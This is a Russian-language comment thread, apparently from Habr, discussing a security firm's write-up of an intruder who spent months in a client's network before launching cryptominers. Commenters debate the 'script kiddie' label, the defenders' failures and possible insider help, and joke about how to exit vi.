Действительно так, но на практике высококвалифицированные атакующие, несмотря на долгое присутствие в инфраструктуре жертвы, заметают за собой следы присутствия в системе и делают свою работу максимально незаметно для команды защиты, используя lolbin`ы и штатные механизмы системы.saboteur_kiev
16.05.2023 08:13+3но на практике высококвалифицированные атакующие
Смотря какая цель. Скрыть майнеры - вещь КРАЙНЕ сложная при адекватном админе.
Поэтому как можно заметать за собой следы, оставляя майнеры - непонимаю.
Другое дело если хотели увести какие-то данные и не дать понять как это было сделано, но видно же что цель не в этом.
Или наоборот, поработали профессионалы, сделали что хотели, оставили для админов явные следы, чтобы убедить их что кроме того что тут школьники понаставляли майнеры больше ничего не пропало.
aGGre55or
16.05.2023 08:13+2В том, что такие ситуации достаточно типичны, и заключается большая проблема.
Не вижу никакой проблемы. Если бы эта ситуация не была достаточно типична, сотрудникам Информзащиты пришлось бы искать другую работу.
если не "переманить" молодых людей, активно изучающих хаккинг (в том числе и на практике) на "сторону добра".
Начать надо с того, что нет никакого "хаккинга" и никакой стороны бобра и зла. Как только человек считающий себя пен-тестером выясняет, что выданный ему мандат был липовым, он моментально "телепортируется" на сторону "зла". И такое, кстати, бывает.
Деятельность пен-тестера точно также НЕ регламентирована УК РФ и держится на добром слове заказчика (если он вообще есть и в курсе того что ему прямо сейчас помогают)) Black или White определяется по наличию деструктива и измеримого ущерба, от деятельности персонажа, или его отсутствию. А не работой на вендора. Это психология и воспитание. Которые не меняются рыночными инструментами. Поверьте пенсионеру.
на бумаге всё относительно хорошо, а как на самом деле - никто не знает и, что самое страшное, не хочет знать.
Да. Это не только ПоИБ касается. И связано со сложностью высокоорганизованных систем, что методами ПоИБ ну вообще никак не решается. Дело вообще не в ПоИБ.
Скрипт-кидди - это не про возраст)
Где-то написал что про возраст? Это про "детскую" психологию. А не про "использование готовых инструментов". На что Вам уже три участника указали. Вас же спросили: сотрудники Информзащиты чем отличаются-то? nmap не используют? tcpdump не используют? Тот же самый инструментарий.
на практике высококвалифицированные атакующие, несмотря на долгое присутствие в инфраструктуре жертвы, заметают за собой следы присутствия в системе и делают свою работу максимально незаметно для команды защиты, используя lolbin`ы и штатные механизмы системы.
Ну это же миф про неуловимого Джо. Любого Джо не ловят до тех пор пока он нафик никому не упал. Заметание надо начинать сразу, а с учётом того что привелегии не падают с неба оно может выдавать ещё и больше чем спокойная малозаметная эксплуатация.
xsash
16.05.2023 08:13+4Соглашусь, раньше под `скрипткидди ` подразумевали околонулевых школьников, которые либо не могли исправить очевидные ошибки в скриптах (защита от дурака), либо которые даже не могли ввести правильно параметры и бежали спрашивать примеры в IRC или профильные форумы.
А тут рассказана история про вполне успешную атаку и ее развитие от точки входа.
Все эти инструменты прекрасно используются на многих CTF
not-allowed-here
16.05.2023 08:13+2тут исходя из Количества методов, Объема и глубины это вобще школьник - который фанатеет от Кевина и любит старые фильмы, журналы и книги.... Такого надо ловить и тянуть к себе на работу - при правильном подходе из него потом вырастет МОНСТР....
pyrk2142
16.05.2023 08:13+33Имхо, статья пропитана каким-то необъяснимым снобизмом:
Атакующий пролез в инфраструктуру, захватил кучу машин, просидел больше полугода там, потом от нечего делать запустил майнеры на машинах: «Хахахаха, школота, своего не написал ничего, спалился, команды даже правильно вводить не умеет»
ИБешники потеряли логи, пропустили сигналы, у них в инфраструктуре сидел злоумышленник больше полугода, а узнали они о нем только после того, как кто-то пожаловался на высокую загрузку машин, но заплатили деньги за аудит: «Администраторы безопасности допустили ряд просчетов»
Я не знаю, откуда лезет это пренебрежительное отношение к атакующим, но это очень плохая практика.
Andrey_Dolg
16.05.2023 08:13+4Ещё и ярлык как водится придумали "скрипт-кидди". Но блин человек залез ничего не сломал(за полгода) и просто позапускал майнеры такого хакера ещё и поблагодарить надо.
IZ_SOC Автор
16.05.2023 08:13-1Когда мы готовили эту статью мы больше переживали за то, что подобные комментарии будут касаемо работы синих команд.
Мысли о том, чтобы допустить пренебрежительное отношение к командам атакующих у нас никогда не было! Со стороны, наверное, может показаться, что действия злоумышленника выполнены максимально профессионально, но в данной статье мы рассказали лишь то немногое, что могли раскрыть , не выдавая заказчика. Мы говорим о том, что это был скрипт-кидди по нескольким причинам, самая главная из которых — то, что имея большие возможности к деструктивному воздействию на инфраструктуру, злоумышленник ограничился лишь раскаткой майнеров..
Knightt
16.05.2023 08:13+6Мысли о том, чтобы допустить пренебрежительное отношение к командам атакующих у нас никогда не было!
но вы это сделали...
то, что имея большие возможности к деструктивному воздействию на инфраструктуру, злоумышленник ограничился лишь раскаткой майнеров..
а почему должен то был?
он может пришел туда запустить майнеры..
если у вас в руках нож - это не значит, что надо всех вокруг резать...
п.с. но молодцы, что провели хороший аудит! )
ReadOnlySadUser
16.05.2023 08:13+2имея большие возможности к деструктивному воздействию на инфраструктуру, злоумышленник ограничился лишь раскаткой майнеров.
Большая сила -> большая ответственность. При нанесении серьезного ущерба могут и за жопу взять по-настоящему. Опять же, ломать, просто чтобы сломать - это и есть поведение скрипт-кидди. А здесь наоборот выжидал полгода чего-то)
А так... ну может и правда залётный, а может и нет) Кто знает что там через эти сервера прошло за полгода и куда утекло) Майнеры могут быть просто обманным манёвром.
parasapiens
16.05.2023 08:13Не исключено что это бывший сотрудник (или даже текущий как указано в комментарии ниже), или бывший/текущий сотрудник наводчик, предоставляющем инсайдерскую информацию. В даркнете такие услуги покупаются и продаются. Это может объяснить сочетание "мягкости" атаки, и аккуратного исполнения (я не специалист по IT, так что "профессионально" было бы не уместно, ориентируюсь на комментарии, и ассоциации из других областей)
lovermann
16.05.2023 08:13Это как со стаканом с водой.. одна сторона скажет - сильный кулкацкер, другая - да это просто у тя система дырявая.
ProMix
16.05.2023 08:13+3ИБешники потеряли логи, пропустили сигналы, у них в инфраструктуре сидел злоумышленник больше полугода, а узнали они о нем только после того, как кто-то пожаловался на высокую загрузку машин
Мы не можем судить об их компетенциях
navion
16.05.2023 08:13+4Мне кажется они хотели донести здравую мысль, что даже новичок с метасплоитом может взломать компанию при отсутствии ИБ. Но получилась смесь из канцелярита и странных придирок в духе "этот ламер даже не может выйти из vi".
aGGre55or
16.05.2023 08:13+1Самое смешное что в подавляющем большинстве случаев ничего не меняется даже при наличии ПоИБ. Которые заняты безопасностью процедур на производстве/предприятии или в компании: сдачей мобильных телефонов, камерами видеонаблюдения, блокировкой USB-портов, скриншотами экранов сотрудников, контролем принтеров, обезличкой персональных данных, получением сертификатов ФСТЭК, использованием лицензионного ПО, оформлением, закупками ПоИБ и ТП, ну Вы поняли..
В это время новичок с метасплойтом полгода гуляет по серверам компании чисто для фана из какого-нибудь Кодинска где живёт у Тёти Розы в окружении тайги и медведей.
eAD95
16.05.2023 08:13самое страшное, что не все в 2023 понимают что есть ИБ для отчетности, чтоб регулятор не сильно наказал и штраф не выписал, ну или там не закрыли шаражку к чертям, а есть непосредственно компьютерная, которая как раз про защиту от хацкеров и все в таком духе.
adante
16.05.2023 08:13+3Интересно, сколько атакующий примерно заработал за это время на майнинге?
Есть оценки количества ядер хотя бы, которые он контролировал?
ЗЫ и присоединюсь к возмущению по поводу обесценивания знаний атакующего.
olegtsss
16.05.2023 08:13Я бы поискал внутреннего нарушителя у вашего заказчика, иначе подобный кейс придется повторять снова спустя какое-то время (кроме того, нельзя исключать, что вы нашли все "пасхалки"). Почему я так говорю, CVE-2020-14364 очень специфичная штука и логично предположить, что залит софт был намеренно.
Может я пропустил, но как злодеи попали в инфраструктуру, неужели подобрали пароли к открытым на весь мир сервисам?navion
16.05.2023 08:13Сломали публичный сервис без обновлений или фишингом увели пароли у пользователей, в статье вроде сказано про отсутствие сегментации и MFA.
Upsarin01
16.05.2023 08:13Не хочу расстраивать, но возможно это либо "подчерк" этого хакера, либо есть какой-то не документированный нюанс связанный с тем как закрыть VI
Я не то чтобы спец, но скорее всего у него этот процесс мог подвисать по каким-то причинам.
AntoineLarine
16.05.2023 08:13+3"атакующие использовали легитимные учётные данные для доступа к скомпрометированному хосту." + "общее раздолбайство". Что тут удивительного, если можно зайти в сеть под стыренным паролем, а дальше запускать что душа пожелает в течение полугода. Причём тут хакеры-недоучки? Здесь админы/ибшники мышей не ловят, а всякие Ланиты пиарятся на таких недоучках.
ef_end_y
16.05.2023 08:13+6Иногда я такую фигню пишу в консоли, что теперь буду чистить баш хистори чтобы потом по его анализу меня не прозвали "прогер-кидди"
damewigit
16.05.2023 08:13+3ничего себе kiddy :) многие люди которых я знаю лично по работе, и которые получают много много килобаксов за запуск статических анализаторов уязвимостей, так не умеют.
Rohan66
А vi точно графический редактор?
GrMogol
точно, пищит и портит, так только графические редакторы умеют :)
и вопрос к уважаемым авторам, статья познавательная, вот только заголовок несколько смущает, в кампании Ланит не пользуются всеми перечисленными инструментами ? написаны свои аналоги ?
IZ_SOC Автор
Добрый день! поясните, пожалуйста, что вы имеете ввиду? В статье приведен кейс реальной кибератаки на одного из клиентов компании "Информзащита")
saboteur_kiev
1.Имеется ввиду что vi - текстовый редактор.
2.используемые инструменты - это инструменты в принципе. Ими пользуются и новички и профессионалы. И если "хакеры недоучки" выходят из vi через pkill vi, то админы-доучки, называют его графическим редактором.
Кроме того, на хосте могло быть просто открыто множество vi, так как им достаточно удобно просматривать информацию (мне vi удобнее, чем less/more), и возможно прибить все запущенные сессии через pkill - тоже вариант.
IZ_SOC Автор
vi - тестовый редактор, здесь, действительно, допущена ошибка (( спасибо за вашу бдительность!)
Metotron0
Он не тестовый, он текстовый :)
Хотя он работает через монитор, а настоящий текст — это матричный принтер…
saboteur_kiev
только не через монитор, а через stdin/stdout ;)
Wesha
Ну точно лох. Первое, чему меня научили в волшебом мире UNIX — это заклинанию
ZZ
!